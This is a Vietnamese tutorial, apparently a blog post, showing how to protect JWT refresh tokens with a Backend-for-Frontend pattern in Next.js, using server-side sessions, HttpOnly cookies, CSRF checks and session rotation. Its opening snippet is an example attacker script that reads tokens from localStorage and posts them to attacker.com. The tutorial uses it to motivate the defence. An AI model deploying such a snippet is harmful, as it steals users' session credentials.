BFF Pattern: Bảo Mật JWT Refresh Token

// Script của kẻ tấn công — đánh cắp token của bạn
const refreshToken = localStorage.getItem('refresh_token')
const accessToken = localStorage.getItem('access_token')
 
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ refreshToken, accessToken }),
})

// lib/session-store.ts
import { randomUUID } from 'crypto'
 
interface Session {
  accessToken: string
  refreshToken: string
  accessTokenExpiry: number
  userId: string
}
 
// Trong production, dùng Redis: new Redis(process.env.REDIS_URL)
const sessions = new Map<string, Session>()
 
export function createSession(data: Omit<Session, never>): string {
  const sessionId = randomUUID()
  sessions.set(sessionId, data)
  return sessionId
}
 
export function getSession(sessionId: string): Session | null {
  return sessions.get(sessionId) ?? null
}
 
export function updateSession(sessionId: string, data: Partial<Session>): void {
  const existing = sessions.get(sessionId)
  if (existing) {
    sessions.set(sessionId, { ...existing, ...data })
  }
}
 
export function deleteSession(sessionId: string): void {
  sessions.delete(sessionId)
}

// app/api/auth/login/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { createSession } from '@/lib/session-store'
 
export async function POST(request: NextRequest) {
  const { email, password } = await request.json()
 
  // Chuyển tiếp thông tin xác thực đến auth server
  const tokenResponse = await fetch(`${process.env.AUTH_SERVER_URL}/oauth/token`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      grant_type: 'password',
      username: email,
      password,
      client_id: process.env.AUTH_CLIENT_ID,
      client_secret: process.env.AUTH_CLIENT_SECRET,
    }),
  })
 
  if (!tokenResponse.ok) {
    return NextResponse.json({ error: 'Thông tin đăng nhập không hợp lệ' }, { status: 401 })
  }
 
  const { access_token, refresh_token, expires_in, user_id } = await tokenResponse.json()
 
  // Lưu token trên server — không bao giờ gửi đến trình duyệt
  const sessionId = createSession({
    accessToken: access_token,
    refreshToken: refresh_token,
    accessTokenExpiry: Date.now() + expires_in * 1000,
    userId: user_id,
  })
 
  const response = NextResponse.json({ success: true })
 
  // Chỉ session ID được gửi đến trình duyệt, trong HttpOnly cookie
  response.cookies.set('session_id', sessionId, {
    httpOnly: true,     // Không đọc được bằng JavaScript
    secure: true,       // Chỉ HTTPS
    sameSite: 'strict', // Chặn cross-site request
    maxAge: 30 * 24 * 60 * 60, // 30 ngày (khớp với thời gian sống của refresh token)
    path: '/',
  })
 
  return response
}

// lib/auth-fetch.ts
import { cookies } from 'next/headers'
import { getSession, updateSession } from '@/lib/session-store'
 
export async function authenticatedFetch(
  url: string,
  options: RequestInit = {}
): Promise<Response> {
  const cookieStore = await cookies()
  const sessionId = cookieStore.get('session_id')?.value
 
  if (!sessionId) {
    throw new Error('No session')
  }
 
  let session = getSession(sessionId)
  if (!session) {
    throw new Error('Session not found')
  }
 
  // Refresh access token nếu hết hạn (với buffer 30 giây)
  if (Date.now() > session.accessTokenExpiry - 30_000) {
    const refreshed = await refreshAccessToken(session.refreshToken)
 
    updateSession(sessionId, {
      accessToken: refreshed.access_token,
      accessTokenExpiry: Date.now() + refreshed.expires_in * 1000,
    })
 
    session = getSession(sessionId)!
  }
 
  // Inject access token — trình duyệt không bao giờ thấy nó
  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${session.accessToken}`,
    },
  })
}
 
async function refreshAccessToken(refreshToken: string) {
  const response = await fetch(`${process.env.AUTH_SERVER_URL}/oauth/token`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      grant_type: 'refresh_token',
      refresh_token: refreshToken,
      client_id: process.env.AUTH_CLIENT_ID,
      client_secret: process.env.AUTH_CLIENT_SECRET,
    }),
  })
 
  if (!response.ok) {
    throw new Error('Token refresh thất bại')
  }
 
  return response.json()
}

// app/api/user/profile/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { authenticatedFetch } from '@/lib/auth-fetch'
 
export async function GET(request: NextRequest) {
  try {
    const response = await authenticatedFetch(
      `${process.env.API_BASE_URL}/users/me`
    )
 
    if (!response.ok) {
      return NextResponse.json({ error: 'Lỗi upstream' }, { status: response.status })
    }
 
    const data = await response.json()
 
    // Định hình response cho frontend — chỉ gửi những gì cần thiết
    return NextResponse.json({
      id: data.id,
      name: data.name,
      email: data.email,
      avatarUrl: data.profile_picture_url,
    })
  } catch (error) {
    if ((error as Error).message === 'No session') {
      return NextResponse.json({ error: 'Unauthorized' }, { status: 401 })
    }
    return NextResponse.json({ error: 'Internal error' }, { status: 500 })
  }
}

// app/api/auth/logout/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { cookies } from 'next/headers'
import { deleteSession } from '@/lib/session-store'
 
export async function POST(request: NextRequest) {
  const cookieStore = await cookies()
  const sessionId = cookieStore.get('session_id')?.value
 
  if (sessionId) {
    // Hủy session trên server
    deleteSession(sessionId)
  }
 
  const response = NextResponse.json({ success: true })
 
  // Xóa session cookie
  response.cookies.set('session_id', '', {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 0,
    path: '/',
  })
 
  return response
}

// hooks/useAuth.ts
'use client'
 
export function useAuth() {
  async function login(email: string, password: string) {
    const response = await fetch('/api/auth/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
      credentials: 'include', // Bao gồm cookie trong request
    })
 
    if (!response.ok) throw new Error('Đăng nhập thất bại')
    // Không có token nào để lưu — session cookie được trình duyệt tự động set
    return response.json()
  }
 
  async function logout() {
    await fetch('/api/auth/logout', {
      method: 'POST',
      credentials: 'include',
    })
    // Session bị hủy trên server — không cần dọn dẹp local
  }
 
  return { login, logout }
}

// Fetch data — không xử lý token trong trình duyệt
async function loadUserProfile() {
  const response = await fetch('/api/user/profile', {
    credentials: 'include',
  })
 
  if (response.status === 401) {
    // Chuyển hướng đến trang đăng nhập
    window.location.href = '/login'
    return
  }
 
  return response.json()
}

// app/dashboard/page.tsx (Server Component)
import { cookies } from 'next/headers'
import { getSession } from '@/lib/session-store'
import { authenticatedFetch } from '@/lib/auth-fetch'
import { redirect } from 'next/navigation'
 
export default async function DashboardPage() {
  const cookieStore = await cookies()
  const sessionId = cookieStore.get('session_id')?.value
 
  if (!sessionId || !getSession(sessionId)) {
    redirect('/login')
  }
 
  // Access token được dùng trực tiếp trên server — trình duyệt không liên quan
  const response = await authenticatedFetch(`${process.env.API_BASE_URL}/dashboard`)
  const data = await response.json()
 
  return <Dashboard data={data} />
}

// Ví dụ CSRF token validation middleware
export async function validateCsrf(request: NextRequest) {
  const cookieCsrf = request.cookies.get('csrf_token')?.value
  const headerCsrf = request.headers.get('X-CSRF-Token')
 
  if (!cookieCsrf || cookieCsrf !== headerCsrf) {
    return NextResponse.json({ error: 'CSRF validation thất bại' }, { status: 403 })
  }
}

// Sau khi đăng nhập thành công, hủy session cũ và tạo mới
export async function POST(request: NextRequest) {
  const oldSessionId = request.cookies.get('session_id')?.value
  if (oldSessionId) deleteSession(oldSessionId) // Dọn dẹp session cũ
 
  const sessionId = createSession({ /* dữ liệu session mới */ })
  // ...set session cookie mới
}

// Session dựa trên Redis với TTL tự động
await redis.setex(`session:${sessionId}`, 30 * 24 * 60 * 60, JSON.stringify(session))